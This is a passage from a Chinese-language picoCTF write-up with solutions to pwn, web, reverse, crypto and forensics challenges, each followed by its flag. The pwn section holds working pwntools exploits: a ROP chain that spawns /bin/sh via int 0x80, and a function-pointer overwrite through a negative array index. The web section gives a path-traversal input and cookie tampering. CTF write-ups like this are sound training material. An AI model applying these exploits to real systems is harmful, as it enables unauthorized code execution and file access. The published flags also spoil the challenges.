int_80_addr = 0x804a3d2
read_addr = 0x806ecf0
vuln_addr = 0x8049d95
bss_addr = 0x80e62f0

# Step 1: read '/bin/sh' into bss segment and return to vuln() function
payload = cyclic(28)
payload += p32(read_addr) + p32(vuln_addr) + p32(0) + p32(bss_addr) + p32(100)

io.sendlineafter(b'grasshopper!', payload)

payload = b'/bin/sh\x00'
io.sendline(payload)

# Step 2: use 'int 80' to call SYS_execve, set argument as:
# eax = 0xb
# ebx = '/bin/sh' address
# ecx = edx = 0
payload = cyclic(28)
payload += p32(pop_eax_addr) + p32(0xb)
payload += p32(pop_edx_ebx_addr) + p32(0) + p32(bss_addr)
payload += p32(pop_ecx_addr) + p32(0)
payload += p32(int_80_addr)

io.sendlineafter(b'grasshopper!', payload)

io.interactive()

picoCTF{5n47ch_7h3_5h311_e81af635}

12. function overwrite

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}

return score;
}

void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}

void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
char story[128];
int num1, num2;

printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);

if (num1 < 10)
{
fun[num1] += num2;
}

check(story, strlen(story));
}

int main(int argc, char **argv)
{

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}

需要将函数指针check从hard_checker改为easy_checker。因为hard_checker会检查输入的story所有字节的ASCII码之和是否为13371337,由于输入长度有限,这显然不可能,而easy_checker则检查和是否为1337,可以实现。后面有一个在指定地址修改值的操作,使用负数绕过检查修改函数指针的值即可。

payload:

1
2
3
4
5
6
7
8
9
10
from pwn import *

# io = process('./vuln')
io = remote('saturn.picoctf.net', 54514)

io.sendlineafter(b'Tell me a story and then I\'ll tell you if you\'re a 1337 >> ', b'A' * 20 + b'%')

io.sendlineafter(b'On a totally unrelated note, give me two numbers. Keep the first one less than 10.', b'-16 -314\n')

io.interactive()

picoCTF{0v3rwrit1ng_P01nt3rs_529bfb38}

2. web 部分

web没有系统学过,但是有的题过于简单,也能做。

1. Includes

打开网页直接F12调出源码即可。

picoCTF{1nclu51v17y_1of2_f7w_2of2_df589022}

2. Inspect HTML

打开网页直接F12调出HTML即可。

picoCTF{1n5p3t0r_0f_h7ml_1fd8425b}

3. Local Authority

先随便输然后提交,报错之后直接F12调出源代码即可获取用户名为admin,密码为strongPassword098765。

picoCTF{j5_15_7r4n5p4r3n7_05df90c8}

5. Forbidden Paths

输入…/…/…/…/flag.txt即可,会进行读取。

picoCTF{7h3_p47h_70_5ucc355_6db46514}

用burpsuite抓包之后把请求里面的isAdmin由0改为1发过去即可。

picoCTF{gr4d3_A_c00k13_5d2505be}

3. reverse 部分

会pwn,能看汇编,reverse多少应该也会点吧。

1. file-run1

打开IDA直接出flag。

picoCTF{U51N6_Y0Ur_F1r57_F113_9bc52b6b}

2. file-run2

同上。

picoCTF{F1r57_4rgum3n7_be0714da}

3. GDB Test Drive

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+18h] [rbp-38h]
char v5[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
strcpy(v5, "A:4@r%uL5b3F88bC05C`Gb0`hf4bfg2N");
sleep(0x186A0u);
s = (char *)rotate_encrypt(0LL, v5);
fputs(s, _bss_start);
putchar(10);
free(s);
return 0;
}

那个乱码应该是加密之前的字符串,经过rotate_encrypt出flag。

rotate_encrypt函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const char *__fastcall rotate_encrypt(__int64 a1, const char *a2)
{
int v3; // [rsp+14h] [rbp-1Ch]
size_t i; // [rsp+18h] [rbp-18h]
const char *v5; // [rsp+20h] [rbp-10h]
size_t v6; // [rsp+28h] [rbp-8h]

v5 = strdup(a2);
v6 = strlen(v5);
for ( i = 0LL; i < v6; ++i )
{
if ( v5[i] > 32 && v5[i] != 127 )
{
v3 = v5[i] + 47;
if ( v3 <= 126 )
v5[i] = v3;
else
v5[i] -= 47;
}
}
return v5;
}

加密很简单,每个字节加47如果可打印就是这个,不可打印就在原来字节减47。在main函数里面有一个超长的等待,题目要我们用gdb可能是教我们怎么去跳过一个语句。按着题目的要求来就行了,也可以自己写脚本。

picoCTF{d3bugg3r_dr1v3_197c378a}

4. patchme.py

打开patchme.py记下密码,然后运行输进去就行了。实际上加密也不难,可以自己写脚本或者直接给密码输入这个功能删掉直接解密。

ak98-=90adfjhgj321sleuth9000

5. Safe Opener

一个java源文件,发现是base64加密,直接拖到在线解密网站去解密。

picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}

6. unpackme.py

将执行的代码用对称加密算法fernet算法加密。直接在源码中加一句print即可输出解密结果出flag。

picoCTF{175_chr157m45_5274ff21}

做到这都有点怀疑我到底是不是在做逆向题。

7. bloat.py

给所有函数名改了,所有字符串改成索引的形式,但是还是能很快定位密码是happychance。输入之后出flag。

picoCTF{d30bfu5c4710n_f7w_b8062eec}

4. Crypto 部分

1. basic-mod1

按照题目意思编写脚本即可。

1
2
3
4
5
6
7
8
9
10
char_list = [54,396,131,198,225,258,87,258,128,211,57,235,114,258,144,220,39,175,330,338,297,288,]
char_dict = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

flag = ''

for char in char_list:
ref = char % 37
flag += char_dict[ref]

print(flag)

picoCTF{R0UND_N_R0UND_79C18FB3}

2. basic-mod2

与上题类似,取逆元用sympy库的方法mod_inverse

picoCTF{1NV3R53LY_H4RD_C680BDC1}

3. credstuff

首先根据用户名找到密码:
cvpbPGS{P7e1S_54I35_71Z3}
这显然不是flag,首先猜测为凯撒密码。
位移13求出flag。
picoCTF{C7r1F_54V35_71M3}

5. rail-fence

W型的栅栏密码,5列

WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_4A76B997

6. substitution0

一段文字,应该是替换密码。一个一个词判断就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
EKSZJTCMXOQUDYLFABGPHNRVIW 

Mjbjhfly Ujcbeyz eblgj, rxpm e cbenj eyz gpepjui exb, eyz kblhcmp dj pmj kjjpuj
Legrand arose, with a gra?e and statel? air, and brought me the beetle
tbld e cuegg segj xy rmxsm xp reg jysulgjz. Xp reg e kjehpxthu gsebekejhg, eyz, ep
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
pmep pxdj, hyqylry pl yephbeuxgpg—lt slhbgj e cbjep fbxwj xy e gsxjypxtxs flxyp
prize
lt nxjr. Pmjbj rjbj prl blhyz kuesq gflpg yjeb lyj jvpbjdxpi lt pmj kesq, eyz e
of view. There were two ro?n? black ????? near one extremity of
ulyc lyj yjeb pmj lpmjb. Pmj gseujg rjbj jvsjjzxycui mebz eyz culggi, rxpm euu pmj

effjebeysj lt khbyxgmjz cluz. Pmj rjxcmp lt pmj xygjsp reg njbi bjdebqekuj, eyz,

peqxyc euu pmxycg xypl slygxzjbepxly, X slhuz mebzui kuedj Ohfxpjb tlb mxg lfxyxly
Jupiter
bjgfjspxyc xp.

Pmj tuec xg: fxslSPT{5HK5717H710Y_3N0UH710Y_59533E2J}
picoCTF{5UB5717U710N_3V0LU710N_59533A2E}
a-q
b-r
c-g
d-m
e-a
f-p
g-s
h-u
i-y
j-e
k-b
l-o
m-h
n-v
o-j
p-t
q-k
r-w
s-c
t-f
u-l
v-x
w-z
x-i
y-n
z-d

picoCTF{5UB5717U710N_3V0LU710N_59533A2E}

7. substitutuion1

同上,找不到JQXZ对应的字母,但是通过flag可以知道Q对应什么字母。

1
2
3
4
IECj (jqfue cfu ixzelus eqs coxa) xus x emzs fc ifrzlesu jsiludem ifrzsededfy. Ifyesjexyej xus zusjsyesk hdeq x jse fc iqxoosyasj hqdiq esje eqsdu iusxedgdem, esiqydixo (xyk affaodya) jpdooj, xyk zuftosr-jfogdya xtdodem. Iqxoosyasj ljlxoom ifgsu x ylrtsu fc ixesafudsj, xyk hqsy jfogsk, sxiq mdsokj x jeudya (ixoosk x coxa) hqdiq dj jltrdeesk ef xy fyodys jifudya jsugdis. IECj xus x ausxe hxm ef osxuy x hdks xuuxm fc ifrzlesu jsiludem jpdooj dy x jxcs, osaxo sygdufyrsye, xyk xus qfjesk xyk zoxmsk tm rxym jsiludem auflzj xuflyk eqs hfuok cfu cly xyk zuxiedis. Cfu eqdj zuftosr, eqs coxa dj: zdifIEC{CU3NL3YIM_4774IP5_4U3_I001_4871S6CT}
CTFs (short for capture the flag) are a type of computer security competition. contestants are presented with a set of challenges which test their creativity, ????????? (??? ????????) skills, ??? problem-solving ???????. ?????????? ??????? ????? ? ?????? ?? ??????????, ??? ???? ??????, ???? ?????? ? ?????? (?????? ? ????) ????? ?? ????????? ?? ?? ?????? ??????? ???????. ???? ??? ? ????? ??? ?? ????? ? ???? ????? ?? ???????? ???????? ?????? ?? ? ????, ????? ???????????, ??? ??? ?????? ??? ?????? ?? ???? ???????? ?????? ?????? ??? ????? ??? ??? ??? ????????. ??? ???? ???????, ??? ???? ??: picoCTF{???????????????????????????????????}
a b c d e f g h i j k l m n o p q r s t u v w x y z
g ? f i t o v w c s d u y q l k h m e b r ? ? a n p

picoCTF{FR3QU3NCY_4774CK5_4R3_C001_4871E6FB}

8. substitution2

这次没有分隔符了。但是还是一样。这次用脚本替换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gvjwjjoeugujajwqxzgvjwkjxxjugqfxeuvjivecvumvzzxmzbpsgjwujmswegrmzbpjgegezhuehmxsiehcmrfjwpqgwezgqhi
sumrfjwmvqxxjhcjgvjujmzbpjgegezhunzmsupwebqwexrzhurugjbuqibeheugwqgezhnshiqbjhgqxukvemvqwjajwrsujns
xqhibqwdjgqfxjudexxuvzkjajwkjfjxejajgvjpwzpjwpswpzujznqvecvumvzzxmzbpsgjwujmswegrmzbpjgegezheuhzgzh
xrgzgjqmvaqxsqfxjudexxufsgqxuzgzcjgugsijhguehgjwjugjiehqhijomegjiqfzsgmzbpsgjwumejhmjijnjhueajmzbpj
gegezhuqwjzngjhxqfzwezsuqnnqewuqhimzbjizkhgzwshhehcmvjmdxeuguqhijojmsgehcmzhnecumwepguznnjhujzhgvjz
gvjwvqhieuvjqaexrnzmsujizhjopxzwqgezhqhiebpwzaeuqgezhqhizngjhvqujxjbjhguznpxqrkjfjxejajqmzbpjgegezh
gzsmvehczhgvjznnjhueajjxjbjhguznmzbpsgjwujmswegreugvjwjnzwjqfjggjwajvemxjnzwgjmvjaqhcjxeubgzugsijhg
uehqbjwemqhvecvumvzzxunswgvjwkjfjxejajgvqgqhshijwugqhiehcznznnjhueajgjmvhelsjueujuujhgeqxnzwbzshgeh
cqhjnnjmgeajijnjhujqhigvqggvjgzzxuqhimzhnecswqgezhnzmsujhmzshgjwjiehijnjhueajmzbpjgegezhuizjuhzgxjq
iugsijhgugzdhzkgvjewjhjbrqujnnjmgeajxrqugjqmvehcgvjbgzqmgeajxrgvehdxedjqhqggqmdjwpemzmgneuqhznnjhue
ajxrzwejhgjivecvumvzzxmzbpsgjwujmswegrmzbpjgegezhgvqgujjdugzcjhjwqgjehgjwjugehmzbpsgjwumejhmjqbzhcv
ecvumvzzxjwugjqmvehcgvjbjhzscvqfzsgmzbpsgjwujmswegrgzpelsjgvjewmswezuegrbzgeaqgehcgvjbgzjopxzwjzhgv
jewzkhqhijhqfxehcgvjbgzfjggjwijnjhigvjewbqmvehjugvjnxqceupemzMGN{H6W4B_4H41R515_15_73I10S5_8J1FN808}

thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotand
uscyberchallengethesecompetitionsfocusprimarilyonsystemsadministrationfundamentalswhichareveryusefu
landmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnoton
lytoteachvaluableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompe
titionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheo
therhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetition
touchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudent
sinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechniquesisessentialformountin
ganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotlea
dstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensi
velyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamongh
ighschoolersteachingthemenoughaboutcomputersecuritytopiquetheircuriositymotivatingthemtoexploreonth
eirownandenablingthemtobetterdefendtheirmachinestheflagispico???????????????????????????????????????

picoCTF{N6R4M_4N41Y515_15_73D10U5_8E1BF808}

9. transposition-trial

移位密码,3字节一组。

picoCTF{7R4N5P051N6_15_3XP3N51V3_56E6924A}

10. Vigenere

维吉尼亚密码。key = CYLAB

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_ae82272q}

5. Forensics 部分

这个部分应该是杂项。

1. Enhance!

浏览器打开svg然后F12调源码。

picoCTF{3nh4nc3d_aab729dd}

3. Lookey here

字符串查找完事。

picoCTF{gr3p_15_@w3s0m3_4c479940}

4. Packets primer

Wireshark。

picoCTF{p4ck37_5h4rk_ceccaa7f}

5. Redaction gone wrong

选中复制就行了。

picoCTF{C4n_Y0u_S33_m3_fully}

6. Sleuthkit Intro

mmls获取信息之后nc填进去就行了

picoCTF{mm15_f7w!}